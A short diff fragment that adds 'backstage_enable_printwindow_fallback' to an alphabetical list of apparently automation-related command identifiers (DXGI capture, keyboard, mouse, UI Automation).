@@ -78,6 +78,7 @@
"backstage_enable_dxgi",
"backstage_enable_keyboard",
"backstage_enable_mouse",
"backstage_enable_printwindow_fallback",
"backstage_enable_uia",
"backstage_installed_apps",
"backstage_key_down",